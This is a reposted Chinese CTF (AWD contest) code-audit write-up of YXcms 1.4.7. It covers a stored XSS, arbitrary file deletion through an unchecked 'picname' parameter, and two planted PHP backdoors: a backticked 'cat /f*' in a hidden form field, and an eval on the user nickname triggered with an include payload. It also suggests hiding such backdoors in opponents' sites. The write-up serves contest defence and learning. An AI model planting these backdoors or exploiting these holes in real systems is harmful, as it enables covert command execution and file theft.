AWD代码审计—YXcms1.4.7

2019-06-11 约 1775 字 预计阅读 4 分钟

声明:本文 【AWD代码审计—YXcms1.4.7】 由作者 Hulk 于 2019-06-11 08:40:00 首发 先知社区 曾经 浏览数 147 次

感谢 Hulk 的辛苦付出!

0x01 前言

最近清理电脑时翻出去年一次线下AWD比赛的源码,正好最近还有线下awd比赛要准备,于是又审了审,那次比赛的源码也相对较简单,这里做个记录分享给大家。

0x02 概述

官方的YXcms1.4.7这个版本存在好几个严重漏洞,但基本都在后台,前台有一个储存型XSS,要利用也需与管理员交互。说实话这几个漏洞都很鸡肋。

由于时间较短,选手也不太可能完整地审计完这个cms。比赛方对源码做了一些修改,留了几个后门。

0x03 漏洞分析

0x03.1 前台储存型XSS

网站是mvc路由模式,很容易就可以找到对应的代码文件。前台没有过滤措施,留言内容直接插到了数据库:

后台读取也没有过滤,文件位置protected/apps/admin/controller/extendfieldController.php

public function mesedit()
{
    $tableid=intval($_GET['tabid']);
    if(!$this->checkConPower('extend',$tableid)) $this->error('您没有权限管理此独立表内容~');
    $id=intval($_GET['id']);//信息id
    if(empty($tableid) || empty($id) ) $this->error('参数错误~');
    $tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
    if(empty($tableinfo)) $this->error('自定义表不存在~');
    if (!$this->isPost()) {
       $info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");
       $this->info=$info;
       $this->tableid=$tableid;
       $this->id=$id;
       $this->tableinfo=$tableinfo;
       $this->display();
    }
    ...
}

0x03.2 后台模版getshell

YXcms官方似乎一直不把后台漏洞当回事。

不需要管理员权限就可以访问,文件位置/protected/apps/default/view/default/1.php

0x03.3 任意文件删除

漏洞位于phpoto控制器下的delpic方法,文件位置protected/apps/admin/controller/photoController.php:

public function delpic()
    {
        if(empty($_POST['picname'])) $this->error('参数错误~');
        $picname=$_POST['picname'];
        $path=$this->uploadpath;
        if(file_exists($path.$picname))
          @unlink($path.$picname);
        else{echo '图片不存在~';return;} 
        if(file_exists($path.'thumb_'.$picname))
           @unlink($path.'thumb_'.$picname);
        else {echo '缩略图不存在~';return;}
        echo '原图以及缩略图删除成功~';
    }

代码首先判断是否含有POST参数picname,然后赋给$picname,获取路径uploadpath=ROOT_PATH.'upload/photos/',使用file_exists()函数判断文件是否存在,然后再unlink()进行删除。参数$picname完全可控,导致任意文件删除:

0x04 比赛方漏洞分析

比赛方为了提高游戏体验还设置了网站后台弱口令,这里我就不多说了,进了后台很容易就可以getshell。

0x04.1 后门一

对应代码文件:protected/apps/default/view/default/extend_guestbook.php

<?php
...
<div class="field">
<input type="text" class="input" name="qq" placeholder="QQ号" />
<input type="hidden" class="input" name="qq" placeholder="<?php echo `cat /f*`;?>" />
</div>
...
?>

反引号`执行命令cat /f*

与官方源码对比:

这个后门确实很隐蔽,很考验选手的洞察力了。

修复:删除漏洞代码行即可。

0x04.2 后门二

漏洞文件位置:protected/apps/member/view/index_welcome.php

<?php
...
<td>当前用户:<font color="blue"><?php eval("echo ${auth['nickname']};");?></font></td>
         <td>上次登录IP:<font color="blue"><?php echo $auth['lastip'];?> </font></td>
         ...
 ?>

很明显有个危险函数函数eval。要想利用则需控制auth数组的nickname

注册用户,然后登入,在用户主页中,对应的功能点为:

修改账户昵称为:${include '/flag'}

与官方源码对比:

修复:将<?php eval("echo ${auth['nickname']};");?>修改为{$auth['nickname']}即可。

总结

介绍了YXcms1.4.7版本存在的几个主要的前/后台漏洞,确实都很鸡肋。YXcms1.4.7在我赛前准备的CMS漏洞库里面,但对方改了管理员密码后,漏洞也用不了了。

比赛方留下的几个后门确实挺有意思的,其实这也是我们进攻后留下后门的一个思路。拿到shell后,对方正好上了waf,这时php木马就不好使了,但可以通过一些正常功能点来getflag,比如说找前台处插入:

<input type="hidden" placeholder="<?php echo `cat /目录/f* `;?>" />

这一类后门就很难被发现了。

比赛时一定要先备份源码!先找找官方的后门,很有可能不是简单的一句话木马,全局查找关键词flagcatevalexec等一些敏感的词来快速发现后门。

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now